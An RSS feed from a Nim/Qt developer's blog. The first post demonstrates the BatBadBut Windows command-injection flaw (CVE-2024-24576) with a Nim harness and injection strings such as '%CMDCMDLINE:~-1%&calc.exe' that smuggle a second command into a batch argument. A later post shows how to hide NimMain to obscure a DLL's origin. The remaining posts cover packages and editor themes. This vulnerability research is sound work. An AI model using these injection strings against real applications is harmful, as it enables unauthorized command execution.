<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Foxoman WebLog]]></title><description><![CDATA[L&Q at Holiday Inn, Tech Addict, Ubuntu Gnu/Linux Fan and Qt/C++ Developer.
]]></description><link>https://www.foxoman.net</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1594765495216/hXc94XxO9.png</url><title>Foxoman WebLog</title><link>https://www.foxoman.net</link></image><generator>RSS for Node</generator><lastBuildDate>Wed, 15 Apr 2026 10:08:15 GMT</lastBuildDate><atom:link href="https://www.foxoman.net/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Exploring Command Injection Vulnerabilities in Windows with Nim]]></title><description><![CDATA[The recent discovery reported by Flatt Security Research highlights the BatBadBut vulnerability (CVE-2024-24576) as a significant threat to the security of command execution in Windows. The issue arises because cmd, the command-line interpreter for W...]]></description><link>https://www.foxoman.net/exploring-command-injection-vulnerabilities-in-windows-with-nim</link><guid isPermaLink="true">https://www.foxoman.net/exploring-command-injection-vulnerabilities-in-windows-with-nim</guid><category><![CDATA[Nim]]></category><category><![CDATA[Windows]]></category><category><![CDATA[cmd]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Thu, 11 Apr 2024 11:26:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1712834531032/1aa8bfd6-ed3e-4a00-b4de-d3553eefb738.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The recent discovery reported by <a target="_blank" href="https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/">Flatt Security Research highlights the BatBadBut vulnerability</a> (<a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2024-24576">CVE-2024-24576</a>) as a significant threat to the security of command execution in Windows. The issue arises because <code>cmd</code>, the command-line interpreter for Windows, utilizes its own unique method for escaping arguments, which may differ from what developers and applications expect.</p>
<p>Nim is not exempt from the complexities of command execution on Windows. Through experimentation with a basic Nim script that executes a test.bat file with different inputs, the subtle aspects of the command injection vulnerability are revealed.</p>
<p><strong>Your system could be vulnerable if it matches these conditions:</strong></p>
<ul>
<li><p>Operating on Windows</p>
</li>
<li><p>Executes commands within the application</p>
</li>
<li><p>Accepts user input</p>
</li>
<li><p>Executes batch files based on user input</p>
</li>
</ul>
<h3 id="heading-the-experiment">The Experiment</h3>
<p>[*] <a target="_blank" href="https://github.com/foxoman/CVE-2024-24576-PoC---Nim/tree/main">foxoman/CVE-2024-24576-PoC---Nim: CVE-2024-24576 PoC for Nim Lang (</a><a target="_blank" href="http://github.com">github.com</a><a target="_blank" href="https://github.com/foxoman/CVE-2024-24576-PoC---Nim/tree/main">)</a></p>
<p>The Nim script executes the batch file in three distinct manners:</p>
<ul>
<li><p>Without quoting the shell input using <code>execProcess</code></p>
</li>
<li><p>With quoting <code>execProcess</code>, using <code>quoteShell</code></p>
</li>
<li><p>Direct shell command execution using <code>execShellCmd</code></p>
</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> osproc, os

block execProcess_NoQuoteShell:
  echo <span class="hljs-string">"[*] execProcess NoQuoteShell"</span>
  echo <span class="hljs-string">"enter payload here"</span>

  let input = readLine(stdin)

  let output =
    execProcess(<span class="hljs-string">"test.bat"</span>, args = @[input], options = {poUsePath,
        poStdErrToStdOut})

  echo <span class="hljs-string">"Output:\n"</span>, output

block execProcess_QuoteShell:
  echo <span class="hljs-string">"[*] execProcess QuoteShell"</span>
  echo <span class="hljs-string">"enter payload here"</span>

  let input = readLine(stdin).quoteShell()

  let output =
    execProcess(<span class="hljs-string">"test.bat"</span>, args = @[input], options = {poUsePath,
        poStdErrToStdOut})

  echo <span class="hljs-string">"Output:\n"</span>, output

block execShellCmd:
  echo <span class="hljs-string">"[*] execShellCmd"</span>
  echo <span class="hljs-string">"enter payload here"</span>

  let input = readLine(stdin)

  echo <span class="hljs-string">"Output:"</span>
  discard execShellCmd(<span class="hljs-string">"test.bat "</span> &amp; input)
</code></pre>
<h4 id="heading-test-1-simple-payload">Test 1: Simple Payload</h4>
<p>A benign command, <code>nim &amp;calc</code>, reveals differing behaviors:</p>
<ul>
<li><p>The unquoted execution passes the payload intact, echoing back without unintended consequences.</p>
</li>
<li><p>Quoting via <code>quoteShell</code> results in misinterpretation, breaking the command.</p>
</li>
<li><p>Direct execution surprisingly splits the input, inadvertently running <code>calc</code>.</p>
</li>
</ul>
<pre><code class="lang-powershell">[*] execProcess NoQuoteShell
enter payload here
nim &amp;calc
Output:
Argument received: <span class="hljs-string">"nim &amp;calc"</span> 

[*] execProcess QuoteShell
enter payload here
nim &amp;calc
Output:
Argument received: <span class="hljs-string">"\"</span>nim
<span class="hljs-string">'calc\""'</span> is not recognized as an internal or external command,     
operable program or batch file.

[*] execShellCmd
enter payload here
nim &amp;calc
Output:
Argument received: nim <span class="hljs-comment"># it run calc</span>
</code></pre>
<h4 id="heading-test-2-sophisticated-payload">Test 2: Sophisticated Payload</h4>
<p>Using a more complex payload, <code>nim" &amp;calc</code>, illustrate further discrepancies:</p>
<ul>
<li><p>Unquoted execution interprets the command in a risky manner, running <code>calc</code>.</p>
</li>
<li><p>Quoted execution, this time, correctly escapes, showcasing the intended safety mechanism.</p>
</li>
<li><p>Direct execution correctly handles the input but underscores potential risk areas.</p>
</li>
</ul>
<pre><code class="lang-powershell">[*] execProcess NoQuoteShell
enter payload here
nim<span class="hljs-string">" &amp;calc
Output:
Argument received: "</span>nim\<span class="hljs-string">" #it run calc

[*] execProcess QuoteShell
enter payload here
nim"</span> &amp;calc
Output:
Argument received: <span class="hljs-string">"\"</span>nim\\\<span class="hljs-string">" &amp;calc\"</span><span class="hljs-string">" #ecaped correctly

[*] execShellCmd
enter payload here
nim"</span> &amp;calc
Output:
Argument received: nim<span class="hljs-string">" &amp;calc # escaped correctly</span>
</code></pre>
<h4 id="heading-test-3-exploitative-payload">Test 3: Exploitative Payload</h4>
<p>An exploitative payload <code>%CMDCMDLINE:~-1%&amp;calc.exe</code>, designed to directly invoke <code>calc.exe</code>, unearths a consistent threat across all execution methods, demonstrating the ease of initiating unintended commands.</p>
<pre><code class="lang-powershell">[*] execProcess NoQuoteShell
enter payload here
%CMDCMDLINE:~<span class="hljs-literal">-1</span>%&amp;calc.exe
Output:
Argument received: e

[*] execProcess QuoteShell
enter payload here
%CMDCMDLINE:~<span class="hljs-literal">-1</span>%&amp;calc.exe
Output:
Argument received: e

[*] execShellCmd
enter payload here
%CMDCMDLINE:~<span class="hljs-literal">-1</span>%&amp;calc.exe
Output:
Argument received: e
</code></pre>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Here's a summarized table based on the testing results from the Nim code experiments with different payloads:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Payload</td><td>execProcess_NoQuoteShell</td><td>execProcess_QuoteShell</td><td>execShellCmd</td></tr>
</thead>
<tbody>
<tr>
<td><code>nim &amp;calc</code></td><td>Not Passed</td><td>Not Passed</td><td>Passed</td></tr>
<tr>
<td><code>nim" &amp;calc</code></td><td>Passed</td><td>Not Passed</td><td>Not Passed</td></tr>
<tr>
<td><code>%CMDCMDLINE:~-1%&amp;calc</code></td><td>Passed</td><td>Passed</td><td>Passed</td></tr>
</tbody>
</table>
</div><p>"Passed" indicates the payload executed in a way that could potentially exploit the BatBadBut vulnerability, demonstrating the nuanced behavior of command execution methods in Nim in response to different types of inputs.</p>
<hr />
<ul>
<li><p>CVE-2024-24576 Rust PoC on GitHub: <a target="_blank" href="https://github.com/frostb1ten/CVE-2024-24576-PoC">https://github.com/frostb1ten/CVE-2024-24576-PoC</a> where I got the test.bat</p>
</li>
<li><p>Flatt Security Research article: <a target="_blank" href="https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/">https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[DLL Symbol Visibility in Nim - Hiding NimMain]]></title><description><![CDATA[Developing DLLs with Nim for Windows presents unique challenges, especially regarding symbol visibility. A common issue is the exposure of NimMain, an automatic inclusion in Nim-compiled DLLs that is essential for initializing the runtime but not int...]]></description><link>https://www.foxoman.net/dll-symbol-visibility-in-nim-hiding-nimmain</link><guid isPermaLink="true">https://www.foxoman.net/dll-symbol-visibility-in-nim-hiding-nimmain</guid><category><![CDATA[nim, dll, hide]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Tue, 06 Feb 2024 21:53:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1707253143783/90095946-e456-4a65-9d27-f5a64fea8097.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Developing DLLs with Nim for Windows presents unique challenges, especially regarding symbol visibility. A common issue is the exposure of <code>NimMain</code>, an automatic inclusion in Nim-compiled DLLs that is essential for initializing the runtime but not intended for public use. Its consistent presence across DLLs creates a recognizable signature, which can be problematic for various use cases. Additionally, managing the visibility of other symbols, such as ensuring certain functions remain private, demands careful attention. This guide covers the use of a <code>.def</code> file in conjunction with Nim's pragmas to conceal <code>NimMain</code> and selectively expose or hide other functions.</p>
<h2 id="heading-challenge-hiding-nimmain-and-specific-functions">Challenge: Hiding <code>NimMain</code> and Specific Functions</h2>
<p><code>NimMain</code> serves as a clear indicator of a DLL's origins from Nim, which might not always be desirable. Furthermore, it is important to control which functions are exposed outside the DLL.</p>
<h2 id="heading-solution-employing-a-def-file">Solution: Employing a <code>.def</code> File</h2>
<p>To address these challenges, we use a <code>.def</code> file:</p>
<pre><code class="lang-plaintext">EXPORTS
      NimMain NONAME PRIVATE
</code></pre>
<p>This configuration ensures <code>NimMain</code> is kept private, effectively removing it from the DLL's export table and mitigating its use as a Nim signature.</p>
<p>A .def file is typically used to define all public symbols/functions. However, in this case, we will use it to hide <code>NimMain</code> and manually control the visibility of other functions in our library using <code>{.exportc, dynlib.}</code>.</p>
<h2 id="heading-nim-code-adjustments">Nim Code Adjustments</h2>
<p>Adjustments in the Nim code involve using <code>{.exportc, dynlib.}</code> pragmas to mark functions for export, similar to <code>__declspec(dllexport)</code> in C/C++. Additionally, ensure that functions meant to be private, like <code>subtract</code>, do not carry these pragmas:</p>
<pre><code class="lang-plaintext">import winim/lean

{.passl: "dll.def".}

proc NimMain() {.cdecl, importc.}

# Exporting the 'add' function
proc add*(a, b: int): int {.exportc, dynlib.} = a + b

# Keeping 'subtract' private
proc subtract(a, b: int): int = a - b

# Custom DllMain for Nim runtime initialization
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall, exportc, dynlib.} =
  if fdwReason == DLL_PROCESS_ATTACH: NimMain()
  return TRUE
</code></pre>
<p>In this setup, <code>add</code> is explicitly marked for export, making it publicly available, while <code>subtract</code> remains internal to the DLL.</p>
<h2 id="heading-compilation-strategy">Compilation Strategy</h2>
<p>Compile the DLL using the following command to include the <code>.def</code> file, ensuring that <code>NimMain</code> and unwanted symbols like <code>subtract</code> remain hidden:</p>
<pre><code class="lang-sh">nim c -d=release -d=strip --opt=size --mm=orc --threads=on --app:lib --nomain --cpu:amd64 --out=app.dll dll.nim
</code></pre>
<p>In this approach, the DLL interface is designed to be clean and focused, with <code>NimMain</code> concealed in order to obscure the DLL's origin in Nim. This selective exposure of functions ensures that only the relevant ones are visible to the user.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707253977355/349a146d-f5e2-4b65-a979-663b94631cb7.png" alt class="image--center mx-auto" /></p>
<p>As demonstrated, the <code>NimMain</code> function is no longer visible in the DLL, even though it is technically still exported. The function has been marked as invisible to maintain the desired level of obscurity.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707254122397/3cfceb21-22b5-43ea-96e4-41d2f54527de.png" alt class="image--center mx-auto" /></p>
<p>When you try to examine the invisible symbols within the DLL, you will find that the function name is no longer <code>NimMain</code>; it is randomly <code>Ordinal2</code>. This subtle change further reinforces the concealment of the DLL's Nim origin, making it more difficult for users to identify its true source.</p>
<p>Using a <code>.def</code> file and Nim's <code>{.exportc, dynlib.}</code> pragmas provides precise control over DLL symbol visibility in Nim, similar to <code>__declspec(dllexport)</code> in C/C++. This method ensures <code>NimMain</code> stays hidden, addressing the issue of its presence as a signature in Nim-compiled DLLs. This maintains a minimal and secure interface for your DLLs.</p>
]]></content:encoded></item><item><title><![CDATA[Send Sms/Otp in nim - Mersal]]></title><description><![CDATA[Two days ago, someone asked me about an api to send sms/otp for python, and well I know about 
http://textbelt.com/ as the best api service around I am aware of, even their api is so easy but I thought to make a package for nim to ease the api for ni...]]></description><link>https://www.foxoman.net/send-smsotp-in-nim-mersal</link><guid isPermaLink="true">https://www.foxoman.net/send-smsotp-in-nim-mersal</guid><category><![CDATA[sms]]></category><category><![CDATA[Nim]]></category><category><![CDATA[OTP]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Sat, 13 Aug 2022 07:56:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1660376035144/cfArVdNd8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Two days ago, someone asked me about an api to send sms/otp for python, and well I know about 
http://textbelt.com/ as the best api service around I am aware of, even their api is so easy but I thought to make a package for nim to ease the api for nim user and another way of learning nim.</p>
<p><strong>So what does it provide:</strong></p>
<ul>
<li>Send sms to any international mobile number using the standard number way +CCMobile</li>
<li>Track the delivery of any sms sent</li>
<li>Send Otp to any mobile number same like sending message</li>
<li>Make your own message content instead of default <code>Your verification code is $OTP</code></li>
<li>verify the otp</li>
<li>check your credit balance</li>
</ul>
<p><strong>Is it free ?</strong></p>
<p>Texetbelt provide you with free key <code>textbelt</code> to be able to send one free message a day, but you can purchase an sms package from here -  https://textbelt.com/purchase/?generateKey=1   , you will need to use a key with credit.</p>
<h2 id="heading-install-mersal">Install mersal</h2>
<p>To install mersal for your nim development package:</p>
<p><code>nimble install mersal</code></p>
<p>then import mersal and enjoy using it is api in your app.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1660377027526/SgnA5heON.png" alt="image.png" class="image--center mx-auto" /></p>
<p><strong>Bellow an example of a full app to send a message:</strong></p>
<pre><code><span class="hljs-keyword">import</span> termui, terminal
<span class="hljs-keyword">import</span> mersal

const logo = <span class="hljs-string">"""

   _   __ ___  ___    ___   _   __
  / \,' // _/ / o | ,' _/ .' \ / /
 / \,' // _/ /  ,' _\ `. / o // /_
/_/ /_//___//_/`_\/___,'/_n_//___/
                 Built by FOXOMAN
                            v 1.0
"""</span>

const help = <span class="hljs-string">"""
[*] Use E.164 mobile numbers format:

    Example: +447712345678:

    Prefix      Country code      Subscriber number
    +           44 (UK)           7712345678
"""</span>

styledEcho(fgCyan, logo, resetStyle)
styledEcho(fgYellow, help, resetStyle)
styledEcho(fgRed, <span class="hljs-string">"""[*] Use at your own risk!
[*] 'textbelt' is free key for one message a day only.
"""</span>, resetStyle)

let mobile = termuiAsk(<span class="hljs-string">"What is the mobile you want to send the message to?"</span>,
    defaultValue = <span class="hljs-string">"+447712345678"</span>)
let message = termuiAsk(<span class="hljs-string">"What is your message?"</span>,
    defaultValue = <span class="hljs-string">"Hello World"</span>)
let key = termuiAsk(<span class="hljs-string">"What is your API Key?"</span>,
    defaultValue = <span class="hljs-string">"textbelt"</span>)

let sendingMsg = termuiSpinner(<span class="hljs-string">"Prepare to send the message..."</span>)

sendingMsg.update(<span class="hljs-string">"Sending the message..."</span>)

let (ok, id, credit, error) = sendSms(mobile, message, key)

sendingMsg.update(<span class="hljs-string">"Getting the resposnse...."</span>)

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> ok:
  sendingMsg.fail(error &amp; <span class="hljs-string">"\n"</span>)

<span class="hljs-keyword">else</span>:
  sendingMsg.complete(<span class="hljs-string">"TextId: "</span> &amp; id &amp;
      <span class="hljs-string">" | quotaRemaining: "</span> &amp; $credit &amp; <span class="hljs-string">"\n"</span>)

discard getch()
</code></pre><h2 id="heading-reference">Reference</h2>
<ul>
<li>Mersal Github repo: https://github.com/foxoman/mersal</li>
<li>Buy a credit: https://textbelt.com/create-key/</li>
<li>Read Mersal Api: https://mersal-doc.surge.sh/mersal</li>
<li>Read textbelt FAQ: https://docs.textbelt.com/</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[openUrl Nim Package to open a url in the default app]]></title><description><![CDATA[openurl
  _                   _
 / \ ._   _  ._  | | |_) |
 \_/ |_) (/_ | | |_| | \ |_
     | v: 2.0.1   @FOXOMAN
 Open Any Url/File in the default App / WebBrowser
MIT LICENSE.
 Support for MacOS, Windows, Haiku, android/termux, Unix/Linux.
Github P...]]></description><link>https://www.foxoman.net/openurl-nim-package-to-open-a-url-in-the-default-app</link><guid isPermaLink="true">https://www.foxoman.net/openurl-nim-package-to-open-a-url-in-the-default-app</guid><category><![CDATA[Nim]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Fri, 24 Jun 2022 21:46:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1656107464987/71nmmiV5H.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-openurl">openurl</h1>
<pre><code>  <span class="hljs-keyword">_</span>                   <span class="hljs-keyword">_</span>
 <span class="hljs-operator">/</span> \ ._   <span class="hljs-keyword">_</span>  ._  <span class="hljs-operator">|</span> <span class="hljs-operator">|</span> <span class="hljs-operator">|</span><span class="hljs-keyword">_</span>) <span class="hljs-operator">|</span>
 \<span class="hljs-keyword">_</span><span class="hljs-operator">/</span> <span class="hljs-operator">|</span><span class="hljs-keyword">_</span>) (<span class="hljs-operator">/</span><span class="hljs-keyword">_</span> <span class="hljs-operator">|</span> <span class="hljs-operator">|</span> <span class="hljs-operator">|</span><span class="hljs-keyword">_</span><span class="hljs-operator">|</span> <span class="hljs-operator">|</span> \ <span class="hljs-operator">|</span><span class="hljs-keyword">_</span>
     <span class="hljs-operator">|</span> v: <span class="hljs-number">2.0</span><span class="hljs-number">.1</span>   @FOXOMAN
</code></pre><p> Open Any Url/File in the default App / WebBrowser</p>
<p>MIT LICENSE.</p>
<p> Support for MacOS, Windows, Haiku, android/termux, Unix/Linux.</p>
<p><a target="_blank" href="https://github.com/foxoman/openurl">Github Page</a></p>
<h3 id="heading-install">install</h3>
<p> <code>nimble install openurl</code></p>
<h3 id="heading-api">api</h3>
<p><code>openurl(PATH)</code></p>
<p><em>PATH</em> can be a file/folder url or a website or even empty to open blank page in a browser.</p>
<ul>
<li>use raw string for file/folder path ie: <code>openurl(r"c:\dev\folder")</code></li>
<li><code>url</code> for a website should start with http or https</li>
<li><p>compile with <code>-d:droid</code> to have support for android activity,in termux no need to do that as unix <code>open</code> is supported.</p>
<h3 id="heading-example">example</h3>
<pre><code><span class="hljs-selector-tag">import</span> <span class="hljs-selector-tag">openurl</span>, <span class="hljs-selector-tag">figures</span>

<span class="hljs-keyword">when</span> <span class="hljs-attribute">isMainModule</span>:
echo <span class="hljs-string">""</span>"
_                   _
/ \ ._   _  ._  | | |_) |
\_/ |_) (/_ | | |_| | \ |_
   | <span class="hljs-attribute">v</span>: <span class="hljs-number">2.0</span>.<span class="hljs-number">0</span>   <span class="hljs-variable">@FOXOMAN</span>
<span class="hljs-string">""</span>"

if paramCount() &gt; <span class="hljs-number">0</span>:
  echo <span class="hljs-string">"$1 Open: $2"</span> % [figures.play, prepare paramStr(<span class="hljs-number">1</span>)]
  openUrl(<span class="hljs-string">paramStr(1</span>))
<span class="hljs-attribute">else</span>:
  echo <span class="hljs-string">"$1 No Url input, a blank page will open."</span> % [figures.cross]
  openUrl(<span class="hljs-string"></span>)
</code></pre></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[QtDark Theme for QtCreator]]></title><description><![CDATA[QtDark
QtCreator Dark theme based on QtCreator Dark theme with little modification to make it look better in my eyes :)
Support
If you like this theme, you can use it for free appreciate your support to have more themes :)


Screenshots

Install
Wind...]]></description><link>https://www.foxoman.net/qtdark-theme-for-qtcreator</link><guid isPermaLink="true">https://www.foxoman.net/qtdark-theme-for-qtcreator</guid><category><![CDATA[Qt]]></category><category><![CDATA[C++]]></category><category><![CDATA[theme]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Mon, 04 Oct 2021 17:38:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1633369036614/kqCV6VD80.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="qtdark">QtDark</h1>
<p>QtCreator Dark theme based on QtCreator Dark theme with little modification to make it look better in my eyes :)</p>
<h1 id="support">Support</h1>
<p>If you like this theme, you can use it for free appreciate your support to have more themes :)</p>
<p><a href="https://www.buymeacoffee.com/foxoman"><img src="https://www.buymeacoffee.com/assets/img/custom_images/black_img.png" alt="Support" /></a></p>
<hr />
<h1 id="screenshots">Screenshots</h1>
<p><img src="https://raw.githubusercontent.com/foxoman/QtDark/main/qimageNaming.png" alt="C++" /></p>
<h1 id="install">Install</h1>
<h2 id="windows">Windows</h2>
<p><code>xcopy qt-dark.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp qt-dark.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp qt-dark.xml ~/.config/QtProject/qtcreator/styles/</code></p>
]]></content:encoded></item><item><title><![CDATA[Hacky - QtCreator Syntax color theme]]></title><description><![CDATA[Hacky is a High Contrast QtCreator Syntax color theme based on  OneDark Pro  Theme. Good to work with at night light. and focus more on the code than the soundings.
ScreenShot
Qt C++

Download
https://github.com/foxoman/hacky
Install
Windows
xcopy ha...]]></description><link>https://www.foxoman.net/hacky-qtcreator-syntax-color-theme</link><guid isPermaLink="true">https://www.foxoman.net/hacky-qtcreator-syntax-color-theme</guid><category><![CDATA[Qt]]></category><category><![CDATA[theme]]></category><category><![CDATA[color]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Wed, 05 Aug 2020 11:21:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1596626380286/uAakbnBqP.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hacky is a High Contrast QtCreator Syntax color theme based on  <a target='_blank' rel='noopener'  href="https://www.foxoman.net/onedark-pro-qtcreator-syntax-color-theme-ckby0yhnx000e5is16uj4cnt7">OneDark Pro</a>  Theme. Good to work with at night light. and focus more on the code than the soundings.</p>
<h1 id="screenshot">ScreenShot</h1>
<h3 id="qt-c-">Qt C++</h3>
<p><img src="https://raw.githubusercontent.com/foxoman/hacky/master/ksnip_20200805-150306.png" alt="Qt"></p>
<h1 id="download">Download</h1>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://github.com/foxoman/hacky" data-card-controls="0" data-card-theme="light">https://github.com/foxoman/hacky</a></div>
<h1 id="install">Install</h1>
<h2 id="windows">Windows</h2>
<p><code>xcopy hacky.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp hacky.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp hacky.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<hr>
<p><a target='_blank' rel='noopener'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Host your Qt WASM App in Serge.sh]]></title><description><![CDATA[As explained previously in  # Day1: Qt is the chosen one! , Qt Support many platforms, and now one of them is the web using  Webassmebly  as you can build your C++ / qml app without any changes to run as a web app.
This is post is not about  building...]]></description><link>https://www.foxoman.net/host-your-qt-wasm-app-in-sergesh</link><guid isPermaLink="true">https://www.foxoman.net/host-your-qt-wasm-app-in-sergesh</guid><category><![CDATA[wasm]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Sat, 25 Jul 2020 19:47:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1595706405304/xxARrYpMq.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As explained previously in  <a target='_blank' rel='noopener noreferrer'  href="https://www.foxoman.net/day1-qt-is-the-chosen-one-ck94gm8x1002erys1ynm7uw3i"># Day1: Qt is the chosen one!</a> , Qt Support many platforms, and now one of them is the web using  <a target='_blank' rel='noopener noreferrer'  href="https://www.qt.io/qt-examples-for-webassembly">Webassmebly</a>  as you can build your C++ / qml app without any changes to run as a web app.</p>
<p>This is post is not about  <a target='_blank' rel='noopener noreferrer'  href="https://doc.qt.io/qt-5/wasm.html">building the Qt WASM app</a>  but rather to find a hosting service that can help you host your app easily.</p>
<p><strong>My current choice is</strong> <em>surge.sh</em></p>
<ul>
<li>Free Plan</li>
<li>Command-Line support tool to register/add/remove and update projects</li>
<li>subdomain support</li>
<li>WASM Binary Server-side compression</li>
<li>CDN support</li>
</ul>
<h2 id="install">Install</h2>
<pre><code><span class="hljs-built_in">npm</span> install --<span class="hljs-built_in">global</span> surge
</code></pre><p>Use <code>sudo</code> if you want to install as root/admin</p>
<h2 id="deploy">Deploy</h2>
<ul>
<li>Make anew folder for your project</li>
<li>Get your final build files: app.js app.wasm app.html qtloader.js qtlogo.svg inside the new project folder</li>
<li>rename the app.html to index.html</li>
<li>run <code>surge</code> inside the terminal in your new project folder</li>
<li>it will ask you to register new account with email and pass</li>
<li>then will ask you for project folder and project URL</li>
<li>you can change the project subdomain as you wish if it was not selected before</li>
<li>upload your project</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1595706384048/4FisShBGs.png" alt="ksnip_20200725-234615.png"></p>
<h2 id="examples-">Examples:</h2>
<h3 id="bmi-calculator">BMI Calculator</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1595703440337/VE6PSh3dK.png" alt="ksnip_20200725-225623.png">
http://bmic.surge.sh/</p>
<h3 id="markdown-editor">MarkDown Editor</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1595703538753/H3oC-H7og.png" alt="ksnip_20200725-225845.png">
http://mde.surge.sh/</p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[OneDark Pro QtCreator Syntax color Theme]]></title><description><![CDATA[It's my pleasure to announce the availability of the new Syntax color theme for QtCreator called OneDark Pro inspired heavily by One-dark atom theme and OneDark Pro VSCode Theme.

Screenshots
Qt C++

Install
Download From GitHub:
https://github.com/f...]]></description><link>https://www.foxoman.net/onedark-pro-qtcreator-syntax-color-theme</link><guid isPermaLink="true">https://www.foxoman.net/onedark-pro-qtcreator-syntax-color-theme</guid><category><![CDATA[theme]]></category><category><![CDATA[Qt]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Sat, 27 Jun 2020 19:15:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1593285250921/iGGbP7Qje.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It&#39;s my pleasure to announce the availability of the new Syntax color theme for QtCreator called OneDark Pro inspired heavily by One-dark atom theme and OneDark Pro VSCode Theme.</p>
<hr>
<h1 id="screenshots">Screenshots</h1>
<h3 id="qt-c-">Qt C++</h3>
<p><img src="https://raw.githubusercontent.com/foxoman/onedarkpro/master/onedarkPro.png" alt="Qt"></p>
<h1 id="install">Install</h1>
<p><strong>Download From GitHub:</strong></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://github.com/foxoman/onedarkpro" data-card-controls="0" data-card-theme="light">https://github.com/foxoman/onedarkpro</a></div>
<h2 id="windows">Windows</h2>
<p><code>xcopy onedarkpro.xml %APPDATA%\QtProject\qtcreator\styles</code></p>
<h2 id="macos">MacOS</h2>
<p><code>cp onedarkpro.xml~/.config/QtProject/qtcreator/styles/</code></p>
<h2 id="linux">Linux</h2>
<p><code>cp onedarkpro.xml ~/.config/QtProject/qtcreator/styles/</code></p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Compile Static Qt Build in Ubuntu Optimized for Small Size With AppImage Support!]]></title><description><![CDATA[Qt is a static build-ready framework but it published as Shared Library due to  license requirements. 
As you are reading this you should already know what is the requirement to build a static build and what is the benefits.
